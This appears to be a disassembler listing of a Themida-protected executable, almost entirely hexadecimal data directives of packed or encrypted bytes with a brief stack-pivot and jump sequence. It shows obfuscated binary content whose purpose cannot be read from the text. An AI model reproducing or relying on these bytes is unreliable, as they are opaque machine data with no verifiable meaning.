		dd 0D0E398A5h, 4DB15A52h, 0AED93256h, 3DB13252h, 5623CD56h
		dd 8FB4D875h, 6B8EB0DFh, 0FED037A6h, 4A31D9D3h,	9AD1F153h
		dd 449F07D4h, 17B13253h, 0EA33F556h, 0D5B4D864h, 8BB13246h
		dd 0CF3A5295h, 0BF41B2BDh, 29B10DD5h, 0BECEB175h, 0D4BA4654h
		dd 0DFB52229h, 0C176B158h, 0AD76D8BDh, 75B13346h, 7D43D956h
		dd 5DB22211h, 475A3256h, 0DCE4F137h, 0AB5952BAh, 8FB13256h
		dd 6E2BD8D7h, 0C73A37A6h, 0BF41B315h, 0D4B977DDh, 0ED33B150h
		dd 53B4C2D7h, 0AF73FB37h, 0D5595256h, 0B0B13256h, 0F10FD8D7h
		dd 83A37A6h, 5841B369h,	2FF2806Dh, 6CC537A6h, 743A0CDDh
		dd 0D4FE8459h, 6AB075A0h, 0ACB23623h, 639A30BDh, 0D83A7115h
		dd 0AB5B1F33h, 7E74BFDDh, 738A37BCh, 0C8A3B24h,	2C323721h
		dd 4E78D952h, 33B94699h, 0B798F7EBh, 0CF06D953h, 57595295h
		dd 0F1B13256h, 50A7D8D7h, 503A37A6h, 7041B369h,	0BAB032EFh
		dd 0AE710156h, 9133B9FDh, 0DEB4C2D7h, 5B3071D4h, 0B5725353h
		dd 0EAB132BEh, 9F306856h, 0BF41B716h, 47F4B790h, 0C6E737BCh
		dd 83AE5F6Fh, 883C87A9h, 503C37BCh, 0EF5C9DF6h,	25E3E2A9h
		dd 0BA31323Eh, 0A2B15856h, 5E31D9E4h, 0F61CD53h, 2BB15A0Ch
		dd 0D5DB3256h, 6B8E80A9h, 0A54E37A6h, 31E4F137h, 5D5952BAh
		dd 0F4B13256h, 0D23FD8D7h, 0DE3A37A6h, 0D729DA5Eh, 15E43256h
		dd 8531C9C4h, 0CF8A6F53h, 0B55F475Ah, 0AEB130D0h, 5F73FB37h
		dd 473A6756h, 834DF6D5h, 0EA596101h, 2FB13256h,	3F73D8D7h
		dd 283A37A6h, 0BECCB95Eh, 60596401h, 0A0B13256h, 5E904696h
		dd 784E67AEh, 7041B2ADh, 0B6C4090Bh, 0D6D72022h, 5E56B248h
		dd 0B4312CDCh, 0AD2CDAA6h, 15A3256h, 24D4FDFh, 8A4ECC0Bh
		dd 31EF6D0Dh, 9F78CE13h, 25E4325Ah, 0AF75B1BAh,	0F8E06401h
		dd 0D5497791h, 2DB13256h, 853019D4h, 0BAB13353h, 55C4B956h
		dd 25AFB930h, 0A731D9ECh, 0A3EEB953h, 0DAC5E95Dh, 0ECC4EC6Dh
		dd 0FCBD6FDDh, 7D323E09h, 3B5BD942h, 55312CDDh,	99353DBEh
		dd 2BB13256h, 51BEDBADh, 0EAB13293h, 7A5AC9D6h,	0BAB18ED2h
		dd 0BF4AB256h, 0AE1DB659h, 0AC313256h, 31353DB5h, 0B3B13256h
		dd 9D6C9D7h, 7529B659h,	5D313256h, 0A63054A6h, 2ABEB259h
		dd 57B132C7h, 2B41D1D6h, 51BE42ADh, 0EAB132D3h,	0F5AFB930h
		dd 4131CAB5h, 0DDF346EEh, 93C53768h, 239C0CD6h,	0C38FB26Eh
		dd 574E0122h, 0EF41B37Dh, 0F5AFB930h, 3BD7CAB1h, 2959B3ADh
		dd 0B03A5476h, 3141D5D6h, 6B30C9D7h, 80D12122h,	6A4AA0A9h
		dd 0FCEC37A6h, 39D0CE13h, 28B0CE2Bh, 9B0BB935h,	7B4D878h
		dd 2A9AB0DDh, 0E98837A6h, 0BAC36A66h, 47F088DDh, 31E137BCh
		dd 0AD3019D4h, 9E8D0B53h, 0BC8C4D0Eh, 53F4F546h, 0D5B13254h
		dd 0AF7635BDh, 75B133AEh, 510BB956h, 0D6B4C2D6h, 0DA6A3949h
		dd 226F0949h, 0A7ECB959h, 0D5494FD5h, 0B7B23122h, 71EEBBAEh
		dd 51A5F5D5h, 0B47101B4h, 0AEB13296h, 0DCAFB930h, 50313E2Bh
		dd 55BB46BDh, 1131C2B5h, 9EA74626h, 53B6F464h, 5DB07591h
		dd 25B13256h, 5271B191h, 0ABB1A5BFh, 0D2765456h, 0F43B3A59h
		dd 0F5BED1D6h, 0E539B29Dh, 5FF6F557h, 0AEB13256h, 9732F5DDh
		dd 0CDC8D950h, 45210CD7h, 0D4313D22h, 13BF47C6h, 2A4E4CD7h
		dd 0B6B346C6h, 4576B952h, 1033BF09h, 0FBB4C2D7h, 2A23CD00h
		dd 0E1B4C2D6h, 0FEBB4696h, 0FD03BF9Eh, 0B6B4C2D7h, 603A6446h
		dd 0AC23CD03h, 0F6B4C2D6h, 0C46FC7Dh, 12CCB108h, 0C5A14757h
		dd 2D7981Fh, 0F6D7B759h, 0AFF78459h, 0D4AAD9FDh, 0DEB3CA2Bh
		dd 0DE095445h, 8C1A549Fh, 13353DEEh, 0FC073DFDh, 5F5A9957h
		dd 693A96A5h, 8EF6B0Dh,	0ABB9F09Fh, 0B55DB903h,	0EAB132BEh
		dd 9F306856h, 0BF41BA76h, 0D4B977DDh, 5E31C1D4h, 95785353h
		dd 20E43252h, 2D75B1BAh, 0EAB1DA36h, 0F4EB3256h, 4A3973BCh
		dd 0A5F4F553h, 0AEB13256h, 574D7791h, 98B13256h, 0CB3A5496h
		dd 6B9AB091h, 75B037A6h, 3BD73256h, 2821A2ADh, 464AB256h
		dd 56B9B659h, 2BF13256h, 51BEDBADh, 0EAB132A8h,	9E4AB216h
		dd 0BA45B659h, 0DDF13256h
		dd 2FD7C2B1h, 58313DADh, 0ABB1D7D2h, 9C333156h,	0AAB4D843h
		dd 7A53C9D6h, 0BAB1FCD2h, 0BE4AB256h, 0AE0DB659h, 0D6D73256h
		dd 0A45255ADh, 0D5B188D2h, 1A52B256h, 7AC1C9D6h, 0BAB187D2h
		dd 433A5456h, 2E49D1D6h, 10C58AADh, 0DFB40CD6h,	0F88FB214h
		dd 0D4310F22h, 3589463Eh, 3B9AB0A9h, 0D6D737A6h, 5656B248h
		dd 0D64AB330h, 0CD9546BEh, 32312CDDh, 113054A6h, 62C5F2D7h
		dd 284E6736h, 5841B2ADh, 52F4BB0Bh, 0ABCCB137h,	83343D57h
		db 57h,	32h
aQ_0		db '╠^Л',7,'÷',0        ; DATA XREF: Themida_:005489B8o
		dd 0F73A6253h, 0BF41B37Dh, 5810E6Fh, 0AFA0B059h, 0ED3A3256h
		dd 0AE5B0017h, 0FE33B906h, 0D3B4C2D7h, 7AE9026Ah, 0BAB1C8D9h
		dd 0B20BB956h, 2DB4C2D6h, 0A731DDD4h, 9C382653h, 85A175DFh
		dd 6B9AB0DDh, 693A37A6h, 0E5386A66h, 5D64DB5Eh,	0EB763256h
		dd 57B130AEh, 6CB6D956h, 0D5B0CA13h, 503A3256h,	7041B2B9h
		dd 3A5EB0D5h, 0D4A537A6h, 0BEF6BB61h, 22B2CAD5h, 8033F55Ah
		dd 0D7B4C2D7h, 1B13256h, 7749B153h, 0C7326D2Bh,	46C532AEh
		dd 0AFF78459h, 57B1B2FFh, 0EBB74756h, 3EB4DAD5h, 0EA4E1F5Eh
		dd 9D323256h, 0E9BAD953h, 0DC9AA8DDh, 0AA3A37A6h, 57186965h
		dd 0DE313256h, 56773142h, 68B23796h, 7041B37Dh,	0B2F6BB1Eh
		dd 0B6BD75DFh, 8569C500h, 0D469C590h, 29B23796h, 0D041B37Dh
		dd 0E2F6BB1Eh, 9EBD75DFh, 30710168h, 0DD193310h, 68B21323h
		dd 0ECB3F2D5h, 0ABB13257h, 0DCC5E95Dh, 5C41A8DCh, 963137B9h
		dd 33723157h, 1A383A11h, 59A5D95Ah, 574E178Eh, 6D9A3256h
		dd 1532EAA1h, 0E2F6BB54h, 8DBD75DFh, 0EF72FB37h, 9932DEDDh
		dd 0AE5952AAh, 0DB13256h, 21E3D8D7h, 6F3A37A6h,	0EF41B2BDh
		dd 4A32FB65h, 78353D56h, 0D6B13256h, 0A2C4CD51h, 7B947A9h
		dd 0ABB041BEh, 56B44156h, 85A2691h, 8A4D77DFh, 0CF4E3E23h
		dd 0B586CD5Eh, 0AEB1330Ah, 5726B059h, 0EE3A3256h, 0DAB60BAAh
		dd 0EAB1BED4h, 89F4CD56h, 0BAB54DD5h, 22323A22h, 0ACC5325Ah
		dd 0A8093CBDh, 124ECDA9h, 0D5B13253h, 295A99A5h, 70A14DD5h
		dd 0C5323D22h, 4CC43446h, 0AAF6B917h, 0BCBD6DDDh, 0AFF6B915h
		dd 3EBD6DDDh, 0EEF6B96Fh, 4EBD6DDDh, 0AFC43A09h, 59E6B904h
		dd 0ADA1677Dh, 83A2603h, 286B195Ah, 3EEB37BDh, 0EEF6B944h
		dd 5EBD6DDDh, 51323609h, 9C3B3153h, 2DB4D84Fh, 22B22229h
		dd 729A7357h, 0D4B06EDFh, 154ECDEEh, 75B48BA9h,	11423256h
		dd 0A24E64BFh, 6C7853A9h, 0DCE43246h, 5775B1BAh, 0D5B1DA36h
		dd 6BEB3256h, 853A0FBCh, 510BB953h, 6EB4C2D6h, 0AE8EB19Fh
		dd 5720B659h, 0AC3A3256h, 2ABD47A9h, 2E13A23h, 75B132DEh
		dd 7D323725h, 0D453D942h, 0DB4ECE13h, 5FC4CD5Ah, 0DA5905A9h
		dd 0A7B13256h, 16F4B93Ch, 16C3356Fh, 394D77A9h,	29B13629h
		dd 0A2CEB15Eh, 0BCB34656h, 544E8A58h, 0D008CDA9h, 19B13256h
		dd 0F67AD9FDh, 0CEB42229h, 4DCEB159h, 0EFA04750h, 0DCB575DDh
		dd 0B65A3E09h, 5EB575DDh, 0F95A3E09h, 0FEB575DDh, 0E59A3E09h
		dd 585AB152h, 0ADA14DD5h, 7CF03323h, 0AAEDBB8Fh, 2A4E8A57h
		dd 0EF08CDA9h, 86B13256h, 0DB36D9FDh, 5DB9F09Fh, 0CE5DB903h
		dd 6CB977DDh, 0A3C33E13h, 0A2A1776Dh, 0E95ACA55h, 14B1D9AFh
		dd 0BABDF09Fh, 0DE5DB903h, 46D1CE92h, 57B13256h, 0B85BB30Ch
		dd 0E6B4C2DAh, 636A019Fh, 0CF3ACE0Bh, 0BF41B2BDh, 29B10DD5h
		dd 518EB132h, 90323723h, 2840D942h, 0A1B13629h,	0E6CEB15Eh
		dd 9EB34656h, 46F4CD5Eh, 0B6A5F5D5h, 0BECEB18Dh, 0D4BE4653h
		dd 0DEB72229h, 923A7347h, 0E6EEB952h, 323A2FBDh, 0B6EEB952h
		dd 1A3A21BDh, 0A2EEB952h, 0D4B56D7Dh, 0D43237BDh, 0D4C43146h
		dd 63681917h, 0CDB0330Ah, 454ECDA9h, 5DB137EFh,	451AC156h
		dd 123A53C1h, 0FB72FBAAh, 0D5596107h, 0B0B13256h, 0F92FD8D7h
		dd 203C37A6h, 5841B355h, 0AEB156EEh, 5763DA56h,	0A03A3256h
		dd 0C15AF36Dh, 0D1B57955h, 76A64097h, 7B8A221Dh, 5F5A3024h
		dd 0BC5A26BDh, 7344A8DBh, 784E37A7h, 4F3C3ABDh,	0EF401A4Dh
		dd 2CEAE1A9h, 31E4F10Eh, 5DB1DABAh, 2FEB3256h, 0A73DDFBCh
		dd 113C5253h, 0D041B355h, 63B977DDh, 79F4B951h,	31B575DFh
		dd 1A382213h, 0BAF4B95Ah, 36A175DFh, 0ABA1F09Fh, 9034F436h
		dd 0ADB4D84Ch, 62C2283Eh, 3704CDFEh, 0D0B4D875h, 431E92D3h
		dd 561CD53h, 2A9EB8DBh,	2AE037A6h, 683C6886h, 7041B379h
		dd 0B6F18559h, 52E3EADDh, 6DB26867h, 41DCB0DFh,	0C3D037BCh
		dd 0E85251h, 5A000000h,	8D5EEA81h, 8B5205F0h, 0EA166D82h
		dd 4E6DB905h, 0E1F741C6h, 3039055Ah, 0FF250000h, 897FFFFFh
		dd 0EA166D82h, 0C3595A05h, 0E85251h, 5A000000h,	8D8EEA81h
		dd 0C88B05F0h, 0FFFFBBE8h, 0F7D233FFh, 5AC28BF1h, 0C08BC359h
		dd 858DC08Bh, 5F0839Fh,	8B66D0FFh, 57858DC1h, 8905F08Dh
		dd 0EA183185h, 87858D05h, 8905F08Dh, 0EA2D2985h, 0B805h
		dd 0C00B0000h, 47840Fh,	85C60000h, 5EA1A45h, 30DF6856h
		dd 0B5FFA9C5h, 5EA238Dh, 0AFA0858Dh, 0D0FF05EDh, 998D8D50h
		dd 5105EA32h, 68046Ah, 0FF000010h, 0EA30A9B5h, 8BD0FF05h
		dd 0EA30A9BDh, 3C7F0305h, 0F8C781h, 47C70000h, 2024h, 0DD9D8D60h
		dd 8B05EA17h, 0FC00B03h, 584h, 89008B00h, 0F6B90443h, 8D00234Ch
		dd 0F08F128Dh, 0F6BB6605h, 0DD8D8972h, 6A05EA0Ah, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 0C7F5C357h, 68A0Fh, 66570000h, 586EB5BEh, 0EE9h, 8A204C00h
		dd 7C59F85Dh, 305FA29Dh, 8BD9BBBDh, 0EA30199Dh,	0CD85C705h
		dd 0F405EA0Ah, 6A000070h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 0C7D4C356h,	0EA25F585h
		dd 5, 0C8A0F00h, 0F000000h, 68Dh, 0E1BD8B00h, 0FF05EA08h
		dd 0EA1BC9B5h, 1995FF05h, 6A05EA2Ah, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0A1BAC352h
		dd 0FCC62632h, 8E0F1533h, 8, 0B1858B52h, 5B05EA30h, 95FF006Ah
		dd 5EA1015h, 38EBC08Bh,	3A2AF8F8h, 3A66391Eh, 0FC5D66A2h
		dd 549F3790h, 0AFC47FFBh, 251E8E65h, 188B7B2Eh,	0D04886Eh
		dd 0D3AE2CC3h, 0EF497369h, 0B06A41E9h, 1A435200h, 1C31F989h
		dd 60EE825Eh, 8EBh, 8AE80000h, 10E945F4h, 68000005h, 5F09094h
		dd 0F9EF11E9h, 910768FFh, 7E905F0h, 68FFF9EFh, 5F09272h
		dd 0F9EEFDE9h, 38DF11FFh, 0BC61966Ch, 3CE112E8h, 0B25F9268h
		dd 3DDE1CE6h, 344ECF69h, 0BB4115C6h, 2ED48033h,	0A75D09AEh
		dd 7DD7832Eh, 0F6675DEFh, 56DA1D46h, 7CED6DFFh,	5666F6CEh
		dd 16C73417h, 7BF3F961h, 3EAB4D8h, 9382BC3Bh, 78D87BE6h
		dd 99FFCF26h, 0F38E1B5Eh, 0BB8B12DEh, 0EF4C978Ah, 0E1B564E9h
		dd 6A341118h, 0BD418BD8h, 0B8E67E12h, 0F6EC451h, 5AF9E011h
		dd 0EA6AA4FAh, 56F59935h, 6D1F5C2Ch, 34FAA411h,	0DC1812C3h
		dd 0AADA983Bh, 24F0D5A3h, 76E42A2Eh, 0A60569C5h, 301FFh
		dd 0F24A600h, 8436E128h, 175666B0h, 126CDA03h, 3E61ACE5h
		dd 0D2603E52h, 12BCD519h, 3CAE74ECh, 0A42014A6h, 0B93116Ch
		dd 3E25D2A8h, 53A6E449h, 0CD66D48Ah, 890F6D52h,	0C1621547h
		dd 878E22BAh, 6FF5AB72h, 1D1FE7DDh, 61C25A0Eh, 19068133h
		dd 79900983h, 1BCEE543h, 75F9F322h, 861E65C6h, 32DF16D8h
		dd 6CA0856Ch, 0FB01130Bh, 73FA0058h, 9EB4F5C6h,	60C8EB77h
		dd 31FB1h, 0C077F900h, 34E96E94h, 0A4599A60h, 2AC70AF0h
		dd 0A556847Eh, 0ACD657F1h, 23D98D2Eh, 0A65C08ABh, 2FD58136h
		dd 0F55F0BA6h, 0F6DFD567h, 0DE521D46h, 7FF73977h, 2F7A7FDCh
		dd 0F5BA0856h, 0C812A6E9h, 92C00E50h, 0D51BB5E1h, 5452F1A0h
		dd 0C22B7526h, 685A0BF3h, 4C2092A7h, 0BF116604h, 48E84B27h
		dd 0B9370F3Eh, 0EF8AC3E2h, 4458ADDCh, 0AE7FD7E2h, 2ACh
		dd 6531E66Ah, 0F1A5589Fh, 4115C80Bh, 0CF9B36BBh, 4216C535h
		dd 0D91965E4h
		dd 62946E3Ah, 0DD1FE5B1h, 61946E3Ah, 0DC4EE4B0h, 46F8966Eh
		dd 0CC65E91Dh, 1C421B6Eh, 6A0B4886h, 0E24EEF60h, 90572D8Eh
		dd 6312A6EAh, 0B63B5FBAh, 385486A4h, 440EE294h,	246A1166h
		dd 19DBADB8h, 0BA202E1Eh, 663C3408h, 3C6ADD11h,	253E9DE1h
		dd 3069CA52h, 1A2h, 49E86D69h, 8A66EFE5h, 1069E540h, 423A8815h
		dd 0B51756B2h, 792D412Dh, 0F2AC7980h, 0BCC11740h, 0DE72EA12h
		dd 6C9DD8A8h, 71265611h, 0F7A2D7DDh, 0B3217F5Bh, 44B0FE82h
		dd 24744F39h, 9C2EB42Eh, 116C95A8h, 3443F066h, 3B560FACh
		dd 0F000000h, 0D782F739h, 0B1B4177Bh, 71C39D68h, 12BC495Ah
		dd 0AFD975EDh, 116C37D9h, 51E37927h, 116C385Bh,	0D79536AEh
		dd 0AB058A5h, 0C6DC2E24h, 72000000h, 2C625AE8h,	4DD5116Ch
		dd 0D0394BEEh, 8FEF8262h, 540B4935h, 5BF894F8h,	0D579185Dh
		dd 54F89BDFh, 360AE30Ah, 81702DDh, 8928ADABh, 0B2927B25h
		dd 297E1BE3h, 3D510676h, 0A455989Eh, 62905EF0h,	3E6812B1h
		dd 701756A3h, 0CC025CFDh, 144CEF90h, 9FC19CEDh,	0DD7E1D51h
		dd 0FAAD3D8Fh, 0C45C12BAh, 7526549Ah, 0A597DB21h, 0B13089E9h
		dd 63559B0h, 0E2400F01h, 416EBF17h, 1F000001h, 887226D9h
		dd 38C29647h, 0B44E1ABBh, 3AC09445h, 0E94F1BB8h, 3BD81A68h
		dd 0B261956Fh, 3FE01CE6h, 0BD5C916Bh, 63D143E9h, 1D46F989h
		dd 39D970FCh, 671B11A3h, 0F66E1756h, 7C1F5355h,	0CF70EC22h
		dd 0F4AC0F63h, 7E2AC70Eh, 49E86D27h, 9321BBE5h,	17566699h
		dd 0D1D774ECh, 4AA3FD9Ch, 0C9F6985Fh, 0A52F1ABh, 81DFA6F3h
		dd 0BBD85C33h, 0A9F76F12h, 1E40F367h, 72C0A3D0h, 116BC87Ah
		dd 953955CDh, 0AC025AF9h, 0D9847245h, 46E5B12Dh, 6C4F4C3Ch
		dd 0AF8BC211h, 9B6ED08Fh, 0B5F3393h, 7ED281F1h,	9BAFh
		dd 1B6EF600h, 6F861C42h, 0A959D2FEh, 1D1761F5h,	901756D3h
		dd 0D2B4883Ah, 9F071756h, 0C47BF9F3h, 0DC873567h, 0AF12A755h
		dd 893A0076h, 0CDA14CC9h, 17A53F61h, 11656A1Dh,	0ADAB0890h
		dd 73DD8928h, 6A615BE9h, 4CD41165h, 863D3B61h, 1FBC3C2Ch
		dd 0F164D419h, 37B8583Bh, 67145A50h, 67CBA7CBh,	61E75C11h
		dd 73205651h, 0F5A4D5DFh, 45B70959h, 0E7151F10h, 0A8FC9DD0h
		dd 0D27E1B52h, 54F899D8h, 4D4ABA04h, 0C73D6908h, 9E4FE38Eh
		dd 0Ch,	78D039C7h, 0A9F7C19Ch, 7ED3B013h, 9834EB6Dh, 12BE5B92h
		dd 973BDC18h, 16BA599Dh, 913DDE1Ch, 8A4579Bh, 8E22CF02h
		dd 0AA65784h, 822ECF00h, 5A5452E9h, 4C281h, 0EA830000h
		dd 24148704h, 0E689565Ch, 4C681h, 0EE810000h, 4, 5C243487h
		dd 68241489h, 1815h, 53243C89h,	7273BD55h, 0EB893FF5h
		dd 1D09BA5Dh, 0DA01C5FBh, 4EC835Bh, 81242489h, 42404h
		dd 525F0000h, 3872BB53h, 5C317720h, 8F5B0424h, 77810847h
		dd 20387208h, 243C8B77h, 81E78957h, 4C7h, 4C78100h, 87000000h
		dd 8B5C243Ch
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5488E2
; ---------------------------------------------------------------------------
		db 0B7h
		dd 0B8DA9997h, 5F093D8h, 0E0FFC503h, 0A3EFB4Fh,	150771B7h
		dd 5110EB15h, 28697F27h, 4B43E70h, 775A75FCh, 74D69835h
		dd 3F5B328Ah, 6A66C750h, 6E59A48Dh, 0EDBC808h, 7420FBAAh
		dd 44EB4EB9h, 3511FF3Bh, 7E7F08EBh, 61ABh, 0D0E90000h
		dd 6800000Bh, 5F0968Fh,	0FAC36FE9h, 97C368FFh, 65E905F0h
		dd 68FFFAC3h, 5F09956h,	0FAC35BE9h, 9A7A68FFh, 51E905F0h
		dd 68FFFAC3h, 5F09BD2h,	0FAC347E9h, 9DC668FFh, 3DE905F0h
		dd 68FFFAC3h, 5F09EB2h,	0FAC333E9h, 1D3500FFh, 9AB299F6h
		dd 152D1E71h, 93AB91FEh, 0ED251778h, 0FE7C5106h, 701FF40Ch
		dd 0F798738Bh, 7718F30Bh, 5A44F87h, 1DD7593Ch, 2B89E826h
		dd 5903DA1Eh, 0B0ADD56Eh, 0FA96AE93h, 1C3404E9h, 6DA595F2h
		dd 0CCE8A586h, 0F980C800h, 0A2DAA3C0h, 9D5AABCEh, 0AD0EE81Fh
		dd 3EDA5DDh, 1F9CBA62h,	0EE2A63E8h, 5436441Bh, 85F33C2h
		dd 3C0ECACDh, 0F473069h, 8569EDE1h, 4F6C00FCh, 3851B37Dh
		dd 3133h, 4D48D000h, 0B35E3B42h, 0B5E81FB7h, 2AF2937Dh
		dd 0F3E81FB8h, 0E2AE7EBAh, 8B4BFE85h, 0C5A9E1A8h, 0C7A46792h
		dd 91B2DEF6h, 38516E53h, 115EDh, 3D5E0E00h, 385B374Fh
		dd 0EBD63850h, 0E5DA6C2Fh, 0D55403EDh, 8983BCE2h, 0A1C2AEE6h
		dd 6C51BFD7h, 0E50B430Fh, 0E573BDD8h, 0BD75E235h, 12FA99F5h
		dd 8B7314FAh, 9ECE0A73h, 0AA57F562h, 9CF55E32h,	0E235CB5Eh
		dd 0EBB884E7h, 4CA2EA22h, 7F4F2C40h, 0A099AC47h, 35CB5BC5h
		dd 0E6C50DE2h, 1D11FF17h, 122A1271h, 2496526Bh,	0A2328F6Ah
		dd 0CDAA7653h, 76BEE235h, 1E9FB41Ah, 188DE891h,	2DE81FDCh
		dd 2DA53E9h, 0A93662CBh, 0BCAE10E6h, 7F1591D9h,	95D5E6DEh
		dd 0C800DCB0h, 0A850023h, 0BAFB1673h, 25EDEE0Ch, 2000655Ch
		dd 25EE0CBBh, 0CBAE040h, 0D44880EEh, 2A49701Ch,	0F6C32860h
		dd 50FF4C32h, 0B1BD536Bh, 2A8D3F35h, 3B532546h,	89271602h
		dd 0DFC36DCDh, 960h, 6388C08Bh,	0EE053D0Ch, 6B80B881h
		dd 0F51E3604h, 7398B09Ah, 0C18B0924h, 400D6289h, 0C08CE308h
		dd 3C0C6388h, 774EEF04h, 261F0E12h, 6F70D2E8h, 0F11A3204h
		dd 7D96AE9Eh, 29612B48h, 4D485645h, 60286029h, 7C192019h
		dd 0E23588B4h, 900C440Bh, 0B0513458h, 0B0E81FB7h, 25F79678h
		dd 0F6E81FB8h, 3DE386BFh, 23E81FB8h, 25D087EBh,	0F23E5B62h
		dd 0F6E81FB7h, 0B7C66A0Fh, 529AE81Fh, 9755761Ah, 293850FEh
		dd 0EAh, 0D03404CAh, 79DFF678h,	0BA541C2Fh, 3DD3EBDDh
		dd 35BD9E5Ch, 0F50DFDE2h, 0E61EEF8Ch, 0C3680408h, 0F095DCACh
		dd 0E235BD30h, 6886BE8Fh, 7830F864h, 0F792AB96h, 0E235BD29h
		dd 0B49BF73Fh, 0AACFB6F9h, 0E81FCAFBh, 6BA36B08h, 0E3AA8985h
		dd 254945ABh, 0EFDA31F9h, 6A84BC8Ch, 68250A66h,	0D53B5E27h
		dd 6EEE0CA5h, 60FAF1AAh, 0A9C5994Ah, 0FDC4BD75h, 0CDC9898h
		dd 0A38048EEh, 4549A7DFh, 0ED291029h, 0CFF2015Bh, 0B1D2BEE4h
		dd 0CFF68FC7h, 0D8086AAh, 56DABFEEh, 0AEE0D80h,	0FA965EC2h
		dd 344C3E51h, 888EE30Dh, 0CED27CCDh, 82Ch, 37DCF4C7h, 0B2597158h
		dd 3FD4ECDDh, 0B9526A50h, 47ACE4D6h, 0CDBF3D10h, 4C315EB5h
		dd 0CCB0DF34h, 48305FB4h, 437ADB30h, 261FFA26h,	534CEEE8h
		dd 364E3D5Eh, 374F395Ah, 0B3CBB3DCh, 3D5E4758h,	3B58344Ch
		dd 0B2D53B53h, 7A59B2CAh, 4EE8B83Bh, 2EC24E8h, 7AAF8A0Eh
		dd 7D2BD6E2h, 0ACE46C01h, 0F1F89DE4h, 0F7E8202Ah, 5925463Fh
		dd 0AFC3CF21h, 7E966601h, 4A64A095h, 56C5F1C3h,	0DFAFCCA0h
		dd 8EC6FECCh, 0F53C0160h, 0ECFF6F65h, 748C7CE9h, 0F008F09Fh
		dd 0E820EA89h, 0E24B2A84h, 816F65F4h, 0B686DF1Ah, 321A759Eh
		dd 8495F41Ah, 0E46F65F5h, 0EDDD8873h, 0C1547019h, 49CDDF40h
		dd 6265012Ch, 846F277Ch, 9E2723EBh, 13EB2B97h, 97DFF7C1h
		dd 5FA58BEEh, 73BB6F66h, 5921423Bh, 0AFC3CF21h,	246B2A01h
		dd 8505385Dh, 13DB7550h, 0E0AECDF8h, 5B3EF464h,	125AF1BBh
		dd 5B54517Eh, 7EA64722h, 19BA7B3Ah, 2D541C34h, 264A824Eh
		dd 7F44E988h, 0CEE97B3Ah, 0C1D2120Bh, 876ECB6Bh, 8D000003h
		dd 0DF1BC52Fh, 1E33B456h, 0C234F2Eh, 2671E91h, 0E8205F5Fh
		dd 34FDC901h, 171130F0h, 4F237B82h, 2EC4422Ah, 0D7D8D569h
		dd 0E7EECBAEh, 51F26F18h, 0F31D556Dh, 0ABD2DDD8h, 697FECEh
		dd 87C30775h, 659D6D73h, 5EBBF7E1h, 0EC1C1035h,	0ABC78FA6h
		dd 45EB8E77h, 1B75068Eh, 81E29BD3h, 0E820EAB9h,	0A9420A06h
		dd 0E7DEF6C6h, 468F80C7h, 99AEB21Ch, 52000006h,	0ABC42F67h
		dd 2847ACE4h, 0A3CC275Fh, 214EA5DDh, 83D43F57h,	225A2CAEh
		dd 0A1D9A6C9h, 2159254Ah, 0BDD5A5CAh, 0ABCEF756h, 0E8262285h
		dd 48E6F95Bh, 583B424Dh, 0F365A72h, 1FAC7F6Ah, 47A961E8h
		dd 0C996BE7Ah, 4F4E2A3Dh, 40784023h, 0A1C40039h, 82CBE8BFh
		dd 0C9BD6346h, 6BA3E81Fh, 8DD6A907h, 515E5F4Ah,	4A824B28h
		dd 1F261F26h, 1FC9B67Ah, 4009AAE8h, 0A2EAE608h,	0E884BC81h
		dd 9EE5C8Dh, 0BDC40CEEh, 0A0D9F1DEh, 9EE5BC5h, 0A9C50DEEh
		dd 659D6D02h, 78907F1Ch, 0EDDDBA14h, 7FE43BD5h,	467FBB7Ch
		dd 0D1EEE3C1h, 84CC04F4h, 7BC11C00h, 88E4A909h,	182723EBh
		dd 7B53A16Dh, 468EBA3Eh, 0FBD08E25h, 0A96D58B3h, 0D9F45B5Dh
		dd 0C3E08CA8h, 3E3B0B01h, 239BFh, 4D485C00h, 67023B42h
		dd 0E23588B9h, 320B67AFh, 6AA2680Bh, 1D6E6306h,	0BA72E826h
		dd 0B499FAC3h, 1D77B99Ch, 0A169E826h, 0A597F4CDh, 1FE9866Dh
		dd 573409E7h, 26432F67h, 0E8261CF5h, 152C6454h,	0D36FF1E7h
		dd 75B2AE00h, 7E000005h, 0F798738Bh, 741BF008h,	0CFA04B83h
		dd 4D22C901h, 0FFA8437Bh, 2E6650D2h, 0ADE5AAC5h, 2D652946h
		dd 0A9E1A9C6h, 0BFDAE342h, 0E8262371h, 48CAD577h, 583B424Dh
		dd 0B4B8566Eh, 4D84E1D8h, 13E8261Eh, 6A5235DBh,	0E6D6B952h
		dd 0C7B4D7AEh, 0E7B19A43h, 5D158170h, 9B758D7Eh, 3255FB97h
		dd 3DC324Ah, 86AACFF6h,	5AE825EBh, 0E820815Eh, 38700B95h
		dd 8DD80354h, 416E85BDh, 3857AD83h, 16D3Dh, 0A997F400h
		dd 1F737F91h, 1C34040Ch, 6DA595F2h, 0A7E8A586h,	9D4ABBDEh
		dd 0D61EE81Fh, 9CD35938h, 7F58E81Fh, 0E023A17Ch, 31DD3850h
		dd 3E000000h, 3B424D48h, 1FB7B35Eh, 47DB5E8h, 8E609867h
		dd 7D40EE82h, 0FB152D1Eh, 0DF97AF9Ch, 0B846D6B3h, 0F0D7E81Fh
		dd 0FECC1805h, 0C9643850h, 87000000h, 0F21C3404h, 856BA395h
		dd 0CE21AE2h, 806BA36Bh, 358E11E9h, 6E0B32E2h, 0E2358DC2h
		dd 8DFA2643h, 26EEE235h, 695172BAh, 6E5E3D51h, 1F9EBD56h
		dd 8E5CC4A1h, 0C40CE235h, 10FE16E7h, 482D541Ch,	0E8226946h
		dd 0B7CFB91Ah, 0DCBF86FFh, 0D9BAD6EEh, 0B8D0BCEFh, 0D5B089F0h
		dd 0E822694Bh, 12B9D51Dh, 27428B7Dh, 0E82268F9h, 566F27EFh
		dd 0D373A622h, 1DEBF759h, 0D6000004h, 2F40ABE3h, 0ACC32860h
		dd 2748A3DBh, 0A5CA2159h, 750BBD3h, 0A6DEA82Ah,	255D224Dh
		dd 0A5DDA1CEh, 2159214Eh, 37526BCAh, 0E82623E9h, 5E425DFFh
